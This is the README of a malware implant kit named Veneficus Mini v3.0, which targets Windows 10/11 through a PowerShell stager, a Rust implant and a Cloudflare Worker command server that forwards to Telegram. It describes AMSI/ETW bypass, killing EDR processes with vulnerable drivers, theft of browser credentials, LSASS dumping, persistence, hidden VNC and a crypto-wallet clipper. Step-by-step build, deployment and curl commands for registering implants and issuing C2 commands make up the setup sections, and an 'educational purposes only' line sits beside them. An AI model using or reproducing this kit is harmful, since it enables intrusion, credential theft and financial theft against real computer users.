Veneficus Mini v3.0

Windows 10/11 x64 implant kit: a PowerShell stager, a Rust PE, and a Cloudflare Worker that pages the operator on Telegram.

The stager (resources/loader.ps1) is meant to quiet AMSI in the current PowerShell process, pull the implant from the Worker’s /beacon route, and launch it as %TEMP%\MicrosoftEdgeUpdate.exe. The PE then scores the host for sandbox/analyst artefacts. A high score wipes the binary; a mid score enters “safe mode” (fingerprint only); a low score runs the full stack — AMSI/ETW patches, a BYOVD pool against named EDR processes, browser credential theft, an LSASS dump chain, WMI/scheduled-task/Run persistence, a localhost SOCKS5 proxy, a localhost HVNC/RFB listener, and a clipboard clipper for crypto addresses. A jittered HTTPS loop beacons and polls a small command set (/status, /proxy_on, /self_destruct, /re_infect, /sleep, safe-mode toggles). Exfil is AES-256-GCM with an HMAC, keyed from a UUID baked at compile time; the Worker is supposed to forward ciphertext without holding the key.

This repository is published for education and analysis. A file-by-file read of what is implemented versus stubbed is in VENEFICUS_MINI_v3_DEEP_ANALYSIS.md.

For educational purposes only. 2026 All rights reversed.

Architecture

VICTIM MACHINE
  loader.ps1 (AMSI/ETW bypass → download → execute)
    └── veneficus_mini.exe
          ├── Environment assessment (sandbox/VM/analyst detection)
          ├── Stealth: syscall bypass chain, lacuna stack-spoof, DKOM, AMSI/ETW patch
          ├── BYOVD: kill EDR processes (K7RKScan, ThrottleStop, BdApi, TrueSight, wsftprm, RTCore64)
          ├── Payload: creds, cookies, LSASS dump, device fingerprint
          ├── Persistence: WMI / Scheduled Task / Registry (three-way fallback)
          ├── SOCKS5 proxy (127.0.0.1:1080 by default, configurable)
          ├── HVNC (127.0.0.1:5900 by default, configurable)
          ├── Clipper: crypto address hijacking (BTC, ETH, LTC, XMR, DOGE, SOL, XRP, BNB, USDT)
          └── C2 loop: AES-GCM encrypted poll every 10 ± 3s (safe mode: 60 ± 18s)
                ↕ HTTPS
CLOUDFLARE WORKER
  /beacon   → implant download
  /exfil    → receive encrypted data → forward ciphertext to Telegram
  /commands → return queued commands (one-time queue)
  /config   → return operator config blob
  /admin    → queue commands  (requires X-Admin-Key)
  /register → register UUID   (requires X-Admin-Key)
  /unregister → revoke UUID   (requires X-Admin-Key)
  /listing  → list all UUIDs (requires X-Admin-Key)
  /set_config → push config  (requires X-Admin-Key)
                ↓
TELEGRAM BOT
  Receives: ciphertext + nonce + HMAC (operator decrypts offline)

Prerequisites

Component	How to install
Rust + cargo	`curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs \| sh`
Windows cross-compile target	`rustup target add x86_64-pc-windows-gnu`
MinGW cross-linker	`sudo apt install mingw-w64`
Wrangler (CF Worker CLI)	`npm install -g wrangler`

Setup

1. Cloudflare Worker

wrangler login
wrangler init veneficus-relay
# Replace worker.js with cloudflare/worker.js

wrangler secret put TELEGRAM_TOKEN     # from @BotFather
wrangler secret put TELEGRAM_CHAT_ID   # your chat/group ID
wrangler secret put ADMIN_KEY          # random 32-char secret

wrangler kv:namespace create "UUID_KV"
wrangler kv:namespace create "COMMANDS_KV"
wrangler kv:namespace create "CONFIG_KV"

# Add KV bindings to wrangler.toml:
#   [[kv_namespaces]]
#   binding = "UUID_KV"
#   id = "<uuid_kv_id>"
#   (repeat for COMMANDS_KV, CONFIG_KV)

wrangler deploy

2. Generate Relay URL

import base64
url = b"https://your-worker.workers.dev"
key = 0xAF
enc = bytes([b ^ key for b in url])
print(base64.b64encode(enc).decode())   # → set as RELAY_URL_BYTES

3. Build

RELAY_URL_BYTES="<output_above>" \
BYOVD_DRIVER_DIR="./drivers" \
TOOLS_DIR="./tools" \
cargo build --release --target x86_64-pc-windows-gnu

Place vulnerable driver .sys files in drivers/ and tool binaries in tools/ before building.

4. Register the implant UUID

Read UUID from the binary (baked in at build time):

strings target/x86_64-pc-windows-gnu/release/veneficus_mini.exe | grep -E "[0-9a-f]{8}-[0-9a-f]{4}"

curl -X POST https://your-worker.workers.dev/register \
  -H "X-Admin-Key: YOUR_ADMIN_KEY" \
  -H "Content-Type: application/json" \
  -d '{"implant_uuid":"<uuid>","note":"op_blackbird_host01"}'

5. Push operator config (clipper addresses, etc.)

curl -X POST https://your-worker.workers.dev/set_config \
  -H "X-Admin-Key: YOUR_ADMIN_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "implant_uuid": "global",
    "config": {
      "clipper_addresses": {
        "bitcoin":  "bc1qyourwallethere",
        "ethereum": "0xYOURWALLETHERE"
      },
      "reinfect_url": "https://your-worker.workers.dev/beacon"
    }
  }'

C2 Commands

Send via /admin endpoint:

curl -X POST https://your-worker.workers.dev/admin \
  -H "X-Admin-Key: YOUR_ADMIN_KEY" \
  -H "Content-Type: application/json" \
  -d '{"implant_uuid":"<uuid>","command":"/status"}'

Command	Effect
`/self_destruct`	3-pass wipe + event log clear + exit
`/re_infect`	Download new payload from `reinfect_url` in config, replace self
`/status`	Send PID, proxy state, safe-mode, UUID back to C2
`/proxy_on`	Enable SOCKS5 proxy
`/proxy_off`	Disable SOCKS5 proxy
`/exit_safe`	Leave safe mode, resume full operation
`/enter_safe`	Enter safe mode (fingerprint only)
`/sleep <secs>`	Override base C2 poll interval

Fallback Chains

Module	Chain (left = first tried)
BYOVD	K7RKScan → BdApiUtil64 → TrueSight → ThrottleStop → STProcessMonitor → wsftprm → RTCore64 → capcom → disable blocklist
LSASS	MiniDumpWriteDump (native) → WDigest patch → LSA Whisperer → DumpGuard → PPL bypass (RTCore64)
NTLM	PrinterBug → PetitPotam → cross-protocol relay (HTTP→LDAP) → CVE-2025-33073 → MSSQL relay
Syscalls	Tartarus Gate → Halo's Gate → ntdll unhook → indirect → standard WinAPI
DKOM	EPROCESS unlink → PspChained enumeration → EDR callback unregister
Persistence	WMI subscription → Scheduled Task → HKLM Run key

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